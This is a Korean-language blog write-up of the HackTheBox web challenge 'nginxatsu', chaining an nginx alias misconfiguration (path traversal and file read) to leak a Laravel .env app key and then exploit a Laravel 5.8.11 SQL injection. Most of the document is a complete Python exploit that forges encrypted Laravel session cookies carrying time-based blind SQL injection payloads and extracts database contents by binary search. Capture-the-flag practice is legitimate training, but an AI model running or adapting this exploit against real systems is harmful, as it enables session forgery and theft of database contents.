HacktheBox nginxatsu 을 풀고 싶으신가요?
Do you want to solve HacktheBox nginxatsu ?
[ HacktheBox#7 nginxatsu ]
요약 : Nginx WebServer와 Laravel WebFramework 특정 버전(5.8.11 이하)에서 발생할 수 있는 취약점을 이용한 문풀
목차
Step#1 Nginx Misconfiguration
Step#2 LFI 를 통한 중요 설정 파일 추출
Step#3 Laravel 5.8.11 SQL Injection
Step#1 Nginx Misconfiguration
문제 서비스 접근 시, nginx.conf 파일 내용 보여줍니다.
Nginx Misconfiguration으로 인해 Path Traversal 통한 LFI 취약점이 가능함을 알 수 있습니다.
location 경로가 /로 끝나도록 지정하지 않은 경우, /assetsindex.php 를 입력하면 /www/public/index.php의 파일을 반환합니다. (root 설정도 무시한채로 /www/public 상위 파일도 확인할 수 있습니다.)
index index.php;
root /www/public;
location /assets { alias /www/public/; }
Step#2 LFI 를 통한 중요 설정 파일 추출
소스코드 분석을 통해 세션을 이용한 쿼리문 날리는 코드가 존재함을 확인할 수 있습니다.
Laravel Framework에서는 세션을 위한 키가 /www/.env에 저장되므로 LFI 를 통해 파일 내용을 추출한 후, 세션 조작이 가능합니다.
Step#3 Laravel 5.8.11 SQL Injection
Laravel 5.8.11 이하 버전에서 존재하는 SQL Injection을 이용해 DB 내 flag를 추출합니다.
URL : https://stitcher.io/blog/unsafe-sql-functions-in-laravel
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
import time
def mcrypt_decrypt(value, iv):
global key
AES.key_size = 128
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)
def mcrypt_encrypt(value, iv):
global key
AES.key_size = 128
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)
def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
return ''
def encrypt(string):
global key
iv = os.urandom(16)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))
app_key ='AobMs5qbk/gEllZRIiq9F2AA5+YZn5o/BIwupgsjWv8='
query = 'ASC, IF((true), SLEEP(20), SLEEP(20)) DESC -- '
key = base64.b64decode(app_key)
#================500 error=============================================================
query='id->\\"\' or IF(true,sleep(3),sleep(0))#'
cook=b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"ZCkMl7CwXQZSpCczYFSqAtV8AYfH7snCLojqfgUo\\";s:8:\\"username\\";s:5:\\"admin\\";s:5:\\"order\\";s:'+bytes(str(len(query)-1),'utf-8')+b':\\"'+bytes(query,'utf-8')+b'\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:40:\\"http:\\/\\/139.59.185.110:30832\\/api\\/configs\\";}}","expires":1639505889}'
ck = encrypt(cook)
'''
{"data":"a:6:{s:6:\\"_token\\";s:40:\\"M7PYykgR2lRQRs14xsOL5tjveSRYJuKV2CxmiJUV\\";s:8:\\"username\\";s:5:\\"asdfq\\";s:5:\\"order\\";s:151:\\"id->\\"\')) and IF(((select length (table_name) from information_schema.tables where table_type=\'base table\' limit 1 offset 4) >512.0),sleep(1),sleep(0))#\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:40:\\"http:\\/\\/139.59.185.110:30832\\/api\\/configs\\";}}","expires":1739505889}
'''
#================500 error=============================================================
def boolean_operator(sQuery):
#sQuery='select true'
query = f'id->\\"\')) and IF(({sQuery}),sleep(1),sleep(0))#'
cook = b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"cyDYL4dHToxLoQO3An8eM4h8pIGvWKq1cJMNywTO\\";s:8:\\"username\\";s:5:\\"admin\\";s:5:\\"order\\";s:'+bytes(str(len(query)-1),'utf-8')+b':\\"'+bytes(query,'utf-8')+b'\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/142.93.40.197:31597\\/api\\/configs\\";}}","expires":1739505889}'
ck = encrypt(cook)
cookies = make_cookie(ck)
start_time = time.time()
go_packet(cookies)
term = time.time()-start_time
#print("---{}s seconds---".format(term))
if term < 1.5:
return 0
else:
return 1
def binary_search(left, right, sQuery):
mid = (left + right)/2
#print("mid : {0} left : {1} right {2}".format(str(mid),str(left),str(right)))
bResult = boolean_operator("(" + sQuery + ") >" + str(mid))
#print("(" + sQuery + ")>" + str(mid))
if((right - left)<=1):
if(bResult):
return right
else:
return left
if(bResult):
return binary_search(mid,right,sQuery)
else:
return binary_search(left,mid,sQuery)
def get_count(query):
return int(binary_search(0,1024,query))
def get_str(query):
return chr(int(binary_search(0,128,query.format())))
def make_cookie(ck):
cookies={"2lurY3wip5fyLnV2MvutTYZqITyKs3HXVmEG6l39":(ck.decode('utf-8')).replace('=',"%3d"),"nginxatsu_session":"eyJpdiI6IkNpU1wvbVk1c3Y2M2h1ZmhVYUNvc0N3PT0iLCJ2YWx1ZSI6IjRFWTVITjhteWZtNlYrXC9RVnV0QTJLMkI4aVdcL1FKMGlqa3B4OEdmVTJuajJXYkhIdGQzYmlTMlgrRWEyU0U0byIsIm1hYyI6IjM3Yzg4YTVlNWZkNWU4NjhkMDg2YTEwOTYwMjMxOGUxYWMyZTA5ZmRiYWI4Nzg5MGIyNzc2NTUwZTdhZGI5NGIifQ%3D%3D"}
return cookies
def go_packet(cookies):
header = {'Content-Type':'application/json'}
url = 'http://142.93.40.197:31597/api/configs'
res = requests.get(url, cookies=cookies, headers=header)
res = res.text
return res
def make_query():
return "s"
if __name__ == "__main__":
table_cnt_query = "SELECT count(*) FROM information_schema.tables where table_type=\'base table\'"
all_table_cnt_query = "SELECT count(*) FROM information_schema.columns"
table_name_len_query = "select length (table_name) from information_schema.tables where table_type=\'base table\' limit 1 offset {0}"
table_name_query = "select ascii(substr(table_name,{0},1)) from information_schema.tables where table_type=\'base table\' limit 1 offset {1}"
table_col_cnt_query = "SELECT count(*) FROM information_schema.columns WHERE table_name = \'{0}\'"
table_col_nm_cnt_query = "SELECT length(COLUMN_NAME) FROM information_schema.columns WHERE table_name = \'{0}\' limit 1 offset {1}"
table_col_nm_query = "SELECT ascii(substr(COLUMN_NAME, {0}, 1)) FROM information_schema.columns WHERE table_name = \'{1}\' limit 1 offset {2}"
#table_cnt=get_count(table_cnt_query)
#print(table_cnt)
table_cnt=115
'''
for i in range(30,31):
table_nm_cnt=get_count(table_name_len_query.format(i))
print("[{0}] table_name_length : {1}".format(str(i),str(table_nm_cnt)))
table_nm=''
for j in range(1,table_nm_cnt+1):
table_nm+=get_str(table_name_query.format(str(j),str(i)))
print("[{0}] table_name : {1}".format(str(i),table_nm))
col_cnt=get_count(table_col_cnt_query.format(table_nm))
print("\tcolumn_cnt : {0}".format(str(col_cnt)))
for k in range(1,col_cnt+1):
col_nm_cnt=get_count(table_col_nm_cnt_query.format(table_nm,str(k)))
column_nm=''
for m in range(1,col_nm_cnt+1):
column_nm+=get_str(table_col_nm_query.format(str(m),table_nm,str(k)))
print("\t[{0}] column_nm : {1}".format(str(k),column_nm))
'''
flag = ''
flag_cnt = get_count('select length(flag_jTGnJ) from nginxatsu.definitely_not_a_flaaag')
print(flag_cnt)
for i in range(1, flag_cnt+1):
flag += get_str('select ascii(substr(flag_jTGnJ,{0},1)) from nginxatsu.definitely_not_a_flaaag'.format(str(i)))
print(flag)
'''
flag = ''
flag_cnt = get_count('select length(database())')
print(flag_cnt)
for i in range(8, flag_cnt+1):
flag += get_str('select ascii(substr((database()),{0},1))'.format(i))
print(flag)
'''
Nginx Misconfiguration을 통한 LFI -> Laravel Framework 중요 정보 파일(/www/.env) & 특정 버전에서 발생가능한 SQL Injection 취약점을 이용하여 DB 내 FLAG 탈취 성공
+Laravel 전 클래스 파일 경로 확인을 위한 경로 : /www/vendor/composer/autoload_classmap.php
삽질쓰 피드백 타임쓰
Step#1 에서 이리저리 -> 특정 Framework에 대한 중요 설정 파일 추출 관련한 접근 필요
Step#2 에서 권한 인증 우회인 줄 알았다구 -> 아니면 집어치워 걍;
뭐냐
Laravel 뭐냐
개발 가즈아, 엔터 안남겨졍;; -> 개발로 인한 취약점 확인을 통해 문풀 확신 증가~!
'HACKING_GAME > WEB' 카테고리의 다른 글
HacktheBox#10 AbuseHumanDB (0) | 2022.01.28 |
---|---|
hackthebox#9 Diogenes Rage (0) | 2022.01.18 |
HacktheBox#6 Granny (0) | 2021.06.14 |
root-Me#8 NoSQL injection - Blind (0) | 2021.05.22 |
HacktheBox#3 baby todo or not todo (0) | 2021.04.22 |